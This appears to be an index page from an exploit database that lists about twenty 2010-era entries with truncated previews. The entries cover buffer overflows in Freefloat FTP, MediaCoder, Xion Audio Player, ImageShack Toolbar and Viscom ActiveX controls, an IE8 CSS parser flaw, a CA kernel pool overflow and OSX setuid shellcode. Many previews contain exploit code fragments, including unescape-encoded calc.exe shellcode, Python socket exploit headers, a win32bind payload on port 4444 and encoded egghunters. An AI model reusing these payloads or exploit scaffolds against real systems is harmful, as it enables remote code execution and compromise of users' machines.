Microsoft Internet Explorer 8 - CSS Parser

!/usr/bin/env ruby Source: http://www.breakingpointsystems.com/community/blog/ie-vulnerability/ Author: Nephi Johnson d0cs4vage require 'socket' def httpsendsock, data, opts= defaults = :code="200", :message="OK", :type="text/html" opts = defaults.mergeopts code = opts:code message = opts:message...

DCE-RPC Fragmented Requests (CVE-2010-0102)

DCE/RPC stands for Distributed Computing Environment / Remote Procedure Calls. It is a Remote Procedure Call system that allows software to work across multiple computers, as if it were all working on the same computer. This system allows programmers to write distributed software without having t...

Winamp "in_midi"组件MIDI时间戳栈缓冲区溢出漏洞

BUGTRAQ ID: 45221 Winamp是一款流行的媒体播放器，支持多种文件格式。 Winamp在实现上存在漏洞，攻击者可利用此漏洞以用户权限在受影响的应用程序中执行任意代码，造成拒绝服务。 此漏洞源于未能对用户提供的数据执行足够的边界检查。Winamp的栈分配是可预测的。攻击者可选择写入到已保存的基本指针的值，因此当恢复了基础指针后，调用函数的栈报文将被移动到攻击者控制的返回地址。 Nullsoft Winamp 5.01 - 5.5.8 厂商补丁： Nullsoft -------- 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：...

Viscom VideoEdit Gold ActiveX 8.0 - Code Execution

// Ctrl+C Ctrl+V, herpderp // calc.exe var shellcode = unescape '%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+ '%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+ '%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+...

Freefloat FTP Server Buffer Overflow Vulnerability 0day

Exploit for windows platform in category remote exploits ======================================================= Freefloat FTP Server Buffer Overflow Vulnerability 0day ======================================================= Exploit Title: Freefloat FTP Server Buffer Overflow Vulnerability Date:...

Freefloat FTP Server - Remote Buffer Overflow

Exploit Title: Freefloat FTP Server Buffer Overflow Vulnerability Date: 12/05/2010 Author: 0v3r Software Link: http://www.freefloat.com/software/freefloatftpserver.zip Tested on: Windows XP SP3 EN CVE: N/A !/usr/bin/python import socket import sys def usage: print "usage : ./freefloatftp.py " pri...

Image Viewer CP Gold 6 Buffer Overflow

//payload is windows/exec cmd=calc.exe shellcode = unescape '%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+ '%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+ '%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+...

Viscom Image Viewer CP Gold 6 - ActiveX 'TifMergeMultiFiles()' Remote Buffer Overflow

//payload is windows/exec cmd=calc.exe shellcode = unescape '%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+ '%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+ '%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+...

CVE-2 0 0 9-0 6 5 8 vulnerability analysis-vulnerability warning-the black bar safety net

Author: Peter Kleissnerhttp://web17.webbpro.de/index.php?page=analysing-the-pdf-exploit translation: Cryin' http://hi.baidu.com/justear I want to share with you 2 0 0 9 year 3 month of an Adobe pdf vulnerability analysis results, the vulnerability is due to JBIG2 compression of the BUG lead to th...

MediaCoder 0.7.5.4795 Buffer Overflow

Exploit Title: MediaCoder-0.7.5.4795.exe 0-days Buffer Overflow SEH Date: 02 / 12 / 2010 Author: Oh Yaw Theng Software Link: http://www.mediacoderhq.com/mirrors.htm?file=MediaCoder-0.7.5.4795.exe Version: v0.7.5.4795 Latest Version !! Tested on: Microsoft Windows XP SP2 CVE : N / A The vendor is...

Mediacoder 0.7.5.4797 - .m3u Local Buffer Overflow (SEH)

Mediacoder 0.7.5.4797 - .m3u Local Buffer Overflow SEH Exploit Title: MediaCoder-0.7.5.4795.exe 0-days Buffer Overflow SEH Date: 02 / 12 / 2010 Author: Oh Yaw Theng Software Link: http://www.mediacoderhq.com/mirrors.htm?file=MediaCoder-0.7.5.4795.exe Version: v0.7.5.4795 Latest Version !! Tested...

Mediacoder 0.7.5.4797 - '.m3u' Local Buffer Overflow (SEH)

Exploit Title: MediaCoder-0.7.5.4795.exe 0-days Buffer Overflow SEH Date: 02 / 12 / 2010 Author: Oh Yaw Theng Software Link: http://www.mediacoderhq.com/mirrors.htm?file=MediaCoder-0.7.5.4795.exe Version: v0.7.5.4795 Latest Version !! Tested on: Microsoft Windows XP SP2 CVE : N / A The vendor is...

Mediacoder 0.7.5.4792 Buffer Overflow

Exploit Title: Mediacoder 0.7.5.4792 SEH Buffer Overflow Exploit Date: 11/29/2010 Author: 0v3r Software Link: http://www.mediacoderhq.com/mirrors.htm?file=MediaCoder-0.7.5.4792.exe Version: 0.7.5.4792 Tested on: Windows XP SP3 EN CVE: N/A !/usr/bin/python win32bind - EXITFUNC=seh LPORT=4444...

CA Internet Security Suite 2010 - KmxSbx.sys Kernel Pool Overflow

CA Internet Security Suite 2010 - KmxSbx.sys Kernel Pool Overflow / Exploit Title: CA Internet Security Suite 2010 KmxSbx.sys Kernel Pool Overflow 0-day Exploit Date: 2010-11-28 Author: Nikita Tarakanov CISS Research Team Software Link:...

OSX/Intel - setuid shell x86_64 - 51 bytes

OSX/Intel - setuid shell x8664 - 51 bytes. Shellcode exploit for osx platform / Title: OSX/Intel - setuid shell x8664 - 51 bytes Date: 2010-11-25 Tested on: Mac OS X 10.6.5 - Darwin Kernel Version 10.5.0 Author: Dustin Schultz - twitter: @thexploit http://thexploit.com BITS 64 section .text globa...

ImageShack Toolbar 4.8.3.75 Remote Code Execution Exploit

Exploit for windows platform in category remote exploits ========================================================= ImageShack Toolbar 4.8.3.75 Remote Code Execution Exploit ========================================================= // calc.exe var shellcode = unescap...

Xion Audio Player 1.0.127 - '.m3u' Local Buffer Overflow

Exploit Title: Xion Audio Player 1.0.127 m3u Buffer Overflow Vulnerability Date: 11/23/2010 Author: 0v3r Software Link: http://www.r2.com.au/downloads/files/xionv1.0b127.exe Version: 1.0.127 Tested on: Windows XP SP3 EN CVE: N/A !/usr/bin/python encoded with alpha3 encoder by skylined egghunter =...

ImageShack Toolbar 4.8.3.75 - Remote Code Execution

// calc.exe var shellcode = unescape '%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+ '%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+ '%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+ '%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+...

Xion Audio Player 1.0.127 Buffer Overflow

Exploit Title: Xion Audio Player 1.0.127 m3u Buffer Overflow Vulnerability Date: 11/23/2010 Author: 0v3r Software Link: http://www.r2.com.au/downloads/files/xionv1.0b127.exe Version: 1.0.127 Tested on: Windows XP SP3 EN CVE: N/A !/usr/bin/python encoded with alpha3 encoder by skylined egghunter =...

ImageShack Toolbar 4.8.3.75 Code Execution

// calc.exe var shellcode = unescape '%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+ '%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+ '%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+ '%u873a%u9894%u84...